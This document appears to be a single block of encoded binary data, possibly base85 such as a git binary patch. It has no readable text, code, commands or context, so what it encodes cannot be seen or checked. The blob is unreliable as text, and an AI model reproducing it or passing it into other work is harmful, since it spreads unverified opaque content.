zYBi@_-z=koFMdXW;ohTmB%1guH=_!ZF4WkwZ1E2<&!JYWs~1CHz_qZf{>XA>=dLk= zhk95nf~keQgrbg*O&}bC&@`XW_P4D*A-Q%xxJmBN}n~p!>Ms+W_yTk9RLT}mhFl{XsW%UmCh@Y$62i>u4kq7O^4IXR~#6E z>f**lRj#MlvsxBIO@+`rTX4Y|*nS{;1z$(WI@l~Gc~Kq_T&_g=diqId>L*%_b8mbcn_}OL?U=K$ia1`ODo=f}tZ$J9f^D)H>S!*Nq;hyQi@whL-**xo>aI1p zk0M41uRQ0bfT0L(rOiqDBr!+hz-w{fVZf8}oF zHId_vHr_;~bUXbMDu}Af_KmR}`>TN>OuqSDuQ(?aEOFuXQRfqQ%h8haGlw9S!CQxm z2k&M$kckJdzqkB4p*m5D09+9!s;@!1#(J*BxX!AYY8db2c99r={@O*uFJO>VlkZIw z1Ql|SF1WO5qwc+WnW7`m4Q1tse%LLL1bg<$@Q26njpY+sC$eF&nBgF)?-et33m zvP~<=4*Q=I4Jj84ICh$U(gFu?;fl{xhyt4J9*lTS1xlrc!88XLA5T!23>*gFD?!j& z?FH&uppR;+Ct-xAp`t*qCVRvQ>?8pQ2VxumsNni{CFeU{vv}7t+Y^3)b6k4Ly3^vn zh^FN>)jazuIg%fLocn->`%CAH^As%oSqMNH{U;#|fQV0NDF-uIDJt>RpL0)?gK2SD2`APuyzqT)Vvx{qjspPDrQIy;#oZdXm5 z{E}^Qja$63>9_cNM&<4;B!F5?{}9?zJJpObgpGwW2Qcv_`9t-Y`t|BTHxAP-_%FTq zP$&XZ0*W5KeL(!IgI>CcS_1ZP64VX^ zT(f9>m2UdUQu!0hCj)k4v*AmxR!4k5_Cb4SjiFux?}cdQq@3D#{0 z8GXqmAc$l|M%Ru3ozD(`WuYJg!d-TimkJ7pex)0nWO-2RzBxN&pW68&z z$?7Zb54CRjmvA@8Af4&A&+L{aR6?P$T6$M#qREP>%J_+x8})duWlL23t~%Pq>36vkwDNZOjKIl+$Z2jgYT%w?NicA-@re}`AJ=&WiRG1f~1ZMg>Cg{-w%H-U=)myVZDK6`12a+7QZvettxRh1U z4at)ppv8Z@M?rESuSE78J-Qs~PuFaLw1^jO(_phFW{fCDrkBQ=t4bq8L{C|az~t#t zntpRjakD;6s14_aaJ;k2ouGwmnnSoH<*#4Z=)~Srr&MpN}_<-BJ ze6HR@>(KNcsiVdB_EART0zYAWZmN}P=qN{oSD#j;cY<0$OOrgfNER|VXy~j5o>;QR z1Cns6L$(_O#JngJ?kJp!P3JvD7<~v|OV6VE$SOkkh7?Z^tNGT^$z%qGXF9)qN``_9 zUsi*{fzh2rL+gfl4k&PG^gC70Pc+wbm484p4SwjT^n@AVO@zIQQ;6i4-6|_B2NsEm z(cLBnUROFzuN%G$B~)+IxIOJkl+Z{&D^k$TbNR=zdE`+HE1yMLCuuJ^8MH zVNLCq?=RMwDc*z>nu111))?*gPQQ?8`E2za(j6ZDM(Z_w>?k@r0D|GwSVtwkZS}p~ z*ag6m9ed$%a7SzC#H6{ar0Y|E@bf2%rCvmc3RmVK^q?{hXPt_yN~d0DDlTOu>P z`a6TX20?tnM-Ih*T|F%w4g&GC#j`&P5f(&2g(vC!(RQNn(9u`@4rJ$+u>j@}8Mw0} z8gO&HM2xqs3D-bM17P-Hc2_wIRQ`MCwxon8qXKttW^j`?LC$cFn)ULTLT&`tOA0Cm zEI%NIo{0;fe@=NPZaRe6d4FZ5OBq+hHyGhL`AKJ-b!VGk{LU$q%=c%hH=0EHu+JkOu-dwRx>4r%JYK(?bysa-9>?1#z6$Q^T0tTP4 zyztW5B~Fm@Vb1!M!b{9ySOC}PV)g!3#$~(3;;rdA)1z}sfr{Rr`RIg&QmbGk6MKS|L%>NJNo07%8M^V3-G*|+m1r{;@Hf%JWA+q{0 z64w#^>i8oel+9 zfhqTiAl@-|B(bIN)+ZW3U>+CMvoU3!13jBopi}-fE$NNNqV>5Lb7&8+avDzr=?70`Ve0Ibu6PFzW;AMO}-~Q@x8C;+A}$N$Jcjt zElY=QD+cU+QvBRz@+2)eYu$&H`rwN(RXz6Uyg1F6c!B-@49J_WaDz$#0$oz8jm<)S zN#&B)2L(w&SIr>bi)(q1;uOCN^)m1tiyPnz7yO~8^^5mK!>@IY4qc*bI_Q5?P{Ev5 z+Sl=s(V0+WQmdVM(uh5npt-XBZNQ``BP zVO+%7-~V+0oNR{lkfy$?J`*o$*&5IHz*d**nMqg2W`t$~TNXhu+~`_ZWbv)xaBY*k zEEJgOAkIC`hRP&4*W5Jhih^r~(4TkoW3lDMhCE9M2STwX9T+s}xinu|m3Q@NI+him zv;(|2Jy#?!N3Ip1m~jv=rI+`)1JY=fs?pZgGa4St%5t?a(1cvZi&^!LKPz213&*2? zsz{}kPrYhl8!@h$57FU{{yeufiSdu5L4WA;84H-@xA!F-G)Ld$6IdoR0Y{mq^yj!? zNC7XfVXoR|sBLTqr%kN&r~8K6z!d-GYu)ckc3fWq{FKdFRBZ{oHLhS|8QT^;qA>8f zyp}7>1|-})N~w=AU;Q>rz`ABwSs8YwzWG#lx$)cvgr>g40=!pyxb5qZhHBf7x%wL` zq9vuK37}YMQyvgFX-%?6!yLMO;sWt6S7*Ye0d{h&`IFe=Rw)xnZH_w&g0kv1BvLTU z8^ph=CSQt79YI`qsQ8;#Xh(bt2bY7Mqguuegz3jOr&hutoBOL_P~G6bgcPOGO%!!` zOijuY@8h(8y!AfWjG^VKBts9Y&L}ewmT*^St|RGx(G-|~Bxz1)dzdjO+LM5)YoU;O zq?hgIsWb2)Q;{^;e$ESj^yuY|_; zR)sTnZNd!J_V(yZLqXw^roRqqf48s90i75sStJAIUQs=gG`+m*H6=(&m!JgHhu0*z zMSNN+)@zP?^m#zQen1GYA-GWFps3U0$mQ3jjL^|mj{v4biv4=Lhkb>iXg{HtTQs>H zN3LM6p3u|Kk>dyzd_y8eb^|iu+Qf)Jo~<0zV2Z6)j(rCpIo5GwcJ!UJT0Mzz@Q`8c zj#L%o!4Q?#K`k)!BUx0!NLHVDA5MeM##W#67zF)RBK~3v$G&AEz7YNp!6Oj(>9`?Z zp+{p5`D?qfKblzD!WdKB6CS)i36sC`i~@}*C!%pURAI?NZ38y?M|a(VjV(b$dLo)s zLJ=B!A}VKw(HT5H+uPpXWdDHcg|3SdG!v|GI`csW z_meZK$;s-V?$oJw*D)^@nT8^)u5C=o=~ZWh6}e(RkiB9iO7}t6N)=#W9BlkeW*SFv zSDwzQ7k&5zLMg!S40L50TP2F^)G9o1rLi~atw!pjQc&pH9F~w8l+Wa?Ftb^-xQPaE z>#4$#{;Fu5?^j1Mp{!;eog`7!?`x93qfq;e0P zaY-@ynsLbka7r`KNuFY79GoB)b>$KV+K5r(YhtttCdH2Pi8lJ3A zsLSG(p=K)h7!Hv4xhDjPBgRub5*2WO4uk9~9qWLfiTqn#2Da0bd0M{c@cO!4k@0aD z2{amwNreWfr=d&)))L(t@*{Sq)jxB3ov_m4agAD_D;E9!0{?Qe$+zdKNH`$rQ zCCyIMlzV#LaWJY4F8E_&=?+T^qG3qY6;cRm$tZjoiM2qZjo#3kyo4*zDQe{3v zG}%V0{T=rzA|qza)fWd6&idQ-XB?@q4`#~skt0ZE=;>W|v1Wtq2Vj}0XV~LDE1)Bz zO)j=2yKy>Oj)MO_1JC8c2IYzu_%pC8=)A46A!iColk)p{r1aHbD@*Arkt{6M(Sm9= zH>_0c*^?`WxBBU{?h!iHmIP6THx1XAM+to+YN0!Ztvc3&lEn-G#V?<5XcUaNEC0p& zbXlIifkA}BHZf+>gHqx|N(^U>NSA$yQ5$nVk`8zfd~EUUTI2|Om>%=3hapZwLj+_a zR^JhHx*iwWxKn_hhBN?J^(Ev~K7W`-YK$7Lsj7}|8VuYVP2jHSfcx>@$zAVw&vAr4 zpLGn?;E|KJi>VPj;$T0QGW?Je@CqRdyDjBLJr?|&%P2jqUtL?gKuAcnm1gaij~`*u zj=dQbU<9kkiU07J^d_JTku-$sdn!N|OO>5Lq!KRuYs`Lx8o_#%e;Hjtfp)9JCM-`U z1Tf~-hO06oMHa8YJXQ2Lh>}&_KqdQyQ_Y}dyMM6q>wSFAY}b|11d=XZjfupgNSocK zE$T(yf_h&=r5i8g%_6)>0cCcy4EKT7YESdtGutVnMNqC39g3&BY!;)+`MLvYRRqDn zhv9?4JXq2m`iR^gT}NQccQk5I#y3S%scoH!5L@NXFdL^JVBKjaS`J`gw{pPdL#fNN zIa91OJMNW&ZRKmb@xGLhd#^cmS`n zd79>rDaR)L4uQlVFwSu`=ELN$dwqv-U5OL+P&oz z{z&X_*!6d?;*`SsHbogR&kNwKoIrXAcvGn2vw1vD4$V(Th>YB%FSaEo9wj|QaG!{B&op{Yz6xTWNk^dKTBxs?X^6Ro9Ap;ac~NkNoN z?P4q~>#!xo%aX|im_p~-kf53{tQ2O970)fSLt7w7AyHW|JPSvDn%Je`&+t`_{0_IX zR_UGEGRNI|U{hsLw6PeNg-6*80K8XWPb%hpk8QAmo=4)@y7v4RE$LE4C3;mjW>q86J``z8(rS^c9U!#mj$f;4s+9>@O~8O+bSoM;bx69g$Bmd~mnuYna%N z%@m7tb>Yq}SYMqoiX(=Re(FsP5b{%`jCl|5(*c1Sm9}pbc@<;4Mev$^OufOLe`=SL zvXeWsqWyj&b1>~k#qUOF=d|&MoD7u8IOA3*#8h0J<)IZQ5OB$_qLNfoJv|IcHmEn;a?HrSw$&l`P;}nXh5@fz_FA~b3AR~A(YK6R|%b3h*U_PI$C!Lyz2(;2m z&n&;`ek&0>83kt>rmW|a*~UI|ti%?jqm`G6aji2otGPNjcp3j+xW8v;DT;h&^j5`* zkKlk*%K1u%>!Z<*#&9)6-TQeHby$)awshzsxn54PbRtTp_FSfb&72KUy;+&ha`(EO zGEx<7R6I*`tv!IEJl*NemH4z1NPQC|QAR)*Fa6vvioD`lw?@h^Sv5Cyca_>kxdMOH zN;sNO1$eF))}LDRt%3(ibvJ7x=B&0N3>Fu@^I;0Ce@uofKjC)G zpL|;uYix6W`51GZgw*YcyB!-%2{{UKn#hR#{2%@uDlLcdlKTQsR<_&WyzmgXTk?^f zPq2c1K2eb$M#pZORB_#N!5DQhCRD_N$og99U&=L21@8;5JipDHpck#uly@VUGXcE& zo+_%SI5tGf`zJBQB|h9oeF|`pjR1`7vb%t+#0gR71L$hj!O+x)HuJ!WWOTQ9nc4j^ z)zmD%$ygBt9?-X0U4exbX{yHab8}=b^_4*YTAm2nrSvDFP1)@ZD}E2K&znt0scxCC zS$Gvi@ky(FDtg_=e#)R_Mg;iuuO;dq!dq4c3g?FDHq3kPkM4LaHHJ^wIG7c>sbEYN z4yBu}cR5JXfh|G3#{o1{NhL3c3~`2*iVCR<|34m5oK?}{R-|k_(2crP?G8|JdozO| zv|6JI#;PU48)@iodIM>Qzu1(dAw_X<_r$*7_t~Ch%iJWI2ACU7i!|DA{5OMdWxfCD z07c+&yQ-mmxmzPjDJ3q7Ala(+55rjV)8RuZg$IvRX1Ihm9oBnKFc;%IB*8HfaQ->x zPcmN55|rqb4tKOu_9q0CP0OS@T=@SEkov`!xc`*X%K#$JK(-yzr?XXv2Q%h5*wi%j{O$O92404G0n@ZU z=7)h~b~PKpm>&Wg6vM!)kGOyR4T~C%YsqM*juzo=yOI^v4W0MH$Y^%Qxk9K*D46-l z^BA^aL@{N5I$LLI^Bk~62cNR=rL3&0Yp+#+dTXdR4<6hlFpMMJA~j%m@I5S-HZam#z9 z{2E7hD(K31Asmy~_pf_6!0a*Qia@&LLP<%s5_Lt*A~LSjM}sap zo^i6r)51mE;(vD1L(O6*Ww1yp4B-gY8eLO&FD|}1ws$X+fHZZtMgZQXHX%$n!8S?& zFF*$gcMzwtC57zB=i|UFUcxR=k{<>mD%SHSLy&9IKET);a)egi3`P~i5cMVBnD=?K z2t}FYs`ywTB6|=;eZ+WTDvNXViAUAa`a=b{j~$u6=cP423c-hm!o9LHwvgu4LCFUl)$31&*=(7a1b1Oy%)KhD2+<6H zC(lCz*i0~5!58k_2}+0V0@>3CaNM|=K3U!MSjq~dk^P0to>It%J*I`VFL|-C_wB)0 z?N|)$m`?F*03|N$__90JEm0@xlt{lkmrFGf+A@~M4aEag? zxKj8zu_8f?U%A$2$4yml?KpP=j>}3ERnzazMzG7=_yv}62xe&#Il9K|qfDjF6rHq0 z;5K{KIPNgr1A3e5mW{h-*XipLIToHzzI+QE%Jk2Fxn1f^RAg1#{FiPFRLSCY%D%}@ z5p){nzTQG;I35T~!WY^-p`efB{o1W^^%@CoL+>#vFaz{%9OJq|*UHTA5$^~EA~(jw z+=#=R5ERMMdx8(%KsrrmJth;+-Mx44!-I3tF(d=KrE)dEp#&_fPp`A)Pq_a+y%!mP zv8gpCCc~#aT^8_yx@9an*7FgsKs#MBA##1{Xc9S(AeK^+z<9L4o+YV^qyNtV8XY(| zcdp||*}2av-_R!gv}t5P+i2mQC1R7O-3pM6WdJnB*7=j_)kD@DlwiwPEjNuq%tCk* z)tx~cxx$w}FJS|Oj$tj?4T`$s1M%(j28(AJ5^e1Lu9v_S#tnkyv2WLM<%ogwCxEG8 zkEs_6RjqULFoHXaB&F}4;7ewQah9zA^ACPKT`zuVBI zuTg@BQB{*|xCtM7K4lld^VJ!%X=zL7UE#mwD?_K60(sJI&9@}oS-uf0X}Nv~23Auz zS2z05#3Nx?jMiYnBVq^_0qOV8t$@kVQy5Ryyq+ajb=R9IS>ZpP8YBQREe0LxG63_i zVNiI_tUv!Z120XJ1>(0+S`rhfcUiD%OM=DrF5MOcy&$M^F80z^#8RNO3uR6#fWpjq zV;JfaR0-_SBke)g&-^za%p~ygMRCeX{>HB~OO(9<-iADGca9?L^N) zOmmlBWW%4xqfz6mM?p2(rNR~Y8-&eC>C~El3Ib26fPH(*E%|e>h302tdj>g%#?)E^ zAE!n^lvYH>)R9T#%oU~x@@ex)Ge=F;reL`f$C2Jb2P<>_6X%>_MJ5Zz{-g1-JT=AB z>1)r;;wQT$pKj|CW2D9?B<05ggsoz{;dlYD(nB>5Q`6n_Qizwb3CO8){=jp(gHpb*g{kxAuuTXgaIe6;wNO{!yOJ^deLN z1Thk*U$_O}!fKOZqSX+$$xB}fxpsT=#XgyRYHDZ|b;7?}TUylhAioeJp1sp14Ilmp zieE2{Xp9B&81J-WqQQu9BP7pdoCR|$yF)SLTiIHOOAWo*1_Rb_?gTtp85F4B@hyZs zHu;IBTroCfSldE8(xs*@pGW)~l!+-s;%^?p@9hB32{E60E(an@Q*sDVqu0da>Yf|> z!2jP$D)W#6!&zhZy+Xbu4o-O9cHp)Oj@?E|2H0};X@?t>0EXMniN;nSD0j8K5kK|{ zqX3r0)2`A2J3H6hrI($Pyu{p2p3IxVP`j!Ci=`Mi`jk$|`~5MR=BPdDzJXOt8)jDZ zWn`cxkg?+@B7o4Xbx%-;F``Y5sFmRCk%X-|YxFxw#ojx&!#?S2VX{)HqMuePDwn)h z6+TJ(0`Vn+c0?mSBkLawi`XE^bzSOd?djk0zFOvSl+=0qO|HD_dZ>eK+S!L&Kr+MM zAI6ze>c*@ca0 ziou(Qi~y$l^o)frx!Qpb&!C<82e+^`1+4nukU{nWAS6MjaRM8b?PT!WvH>z}CYE(< z=zv!TG=vtCK=t&?hQi$rp78;5+L;`n!j_Ax$QQ!@I^zQ+{G6>-z5C*W6AfMU^#ew;dt=#&=c8{Yb zKz>N5?hTmnY^&QInKFW0ATFA6xxabLv!F?p69jZ^K+5^ z9CYQ`(v8cGp4USdO+A&la+f}!yk4rPfF}JI;|i--*utNl(_d!DXH87G0b0#VEvBN^ zjfev#ljCw%#=1v?sc_#Q9Mnt@Oo gy%5EixMD!PKp^#>qMExf(%W6*^o*J&{nyp zC+M_S(BXe^Zzqw79n-^6axvpX{ajkRS6m3HA`%=@q*_)kQr%Amz*hjSbp=)4#UY$< z5jfxchXnr+#eMM#E`|aG8IG_2M)5qqER~Eu@azy5yXYgmIaF^p4pSRwr&0s$TD2^Y zGt{1Boi?R^Ur|Ws4uf6yda$Xh2Acu{?_*q7a$b&$4?4$YwUC)cex@TSm3d%L)=6bP zO0@;uP$SMqoK6g2qvVpj=YmNTSuI&$AZR1FE9#YTT>(+QM2&3eZI6lObn9KBNslWEIWK;IPvM4-3F<;X zu{c4yeFV}IUz*cIEFPVEc};{o4u&MR#j6ahf(E*~M)!fj30Q?#3A2eBrQg~L#m){; zN1JQz6FW?H4=yYDL<=A35MsNISlSQ+K2efQjB=RUv8qncN&TohnY7|iXwWzd7q3?2 z!|k62iY-nE!#j1z-#B@Q*c*MbOi+S@S_Euq(x1;w#u#BPw2JvG6_3fir)4%wZIEWw z{Je#-l36Gu%JN0bX4O1bXeT{DQ2KAEgr&)p;2nCkaVf*VoA3nbpyz)-SM=r#@Xl%F zoG}ke0-YmJCwG$cLen8)X+8FI=Biu?xlnRHRHwU-vRHOP0a7sSM#AD&zMME0ffO_j z7-JklADX`v3wAonCS%}t*nf7FJavzPZ_I84pQUfz=YU4yv97r?9i%9m zQ<)c|OAng|TJmh#o&2jM&NEIeyc}WPcrv~kFOokP>QuK8TXQY2LJW5bMZ(QH6W&-V z6v7s-vCaY{a3U#leSH_;GgYB1@PDF0;*SZ=2cTfR4tiaDbPo~^XT_e*Mdf}93WH%f zJeH6ZqP}&yH}$Z%BHLtPXe8agwOsOjhq|JppRw%z5~NWm6g^+&qIQ}gicz=$7`e#C z!S;%|9ErqXgpz`4Z4=I!1BkN3Is0Ub+k5Wo&76_CW>5f)@cKFT9i@ty)3&%BZIk)& zm(Wgh1^_eEI58vhc5oi#|DA=usen4f5>bjnI@iKm%FpfA9rAX>6&PQ+XkKVPsfph# zOMFsRB^tKlv8#btLAwcZcngSOiq&;QZjaTnj5dVOPknJg4lsk;80>i5MaF&gl+a{~ z*Acu65Z-w8jPQR(BGt_G*3;`$^N_Ev|Lz}P+S*bUB}D=>OxMyD>H5#XUzf9Ir^aVRDU0YE-T|(=^stH4#6U%}m{& znNj?2p;Aaf6dkblaWR2xUbP!t8&R-)`BnLgu>HRMR8NgS6$J{PS@D*$asuWlM9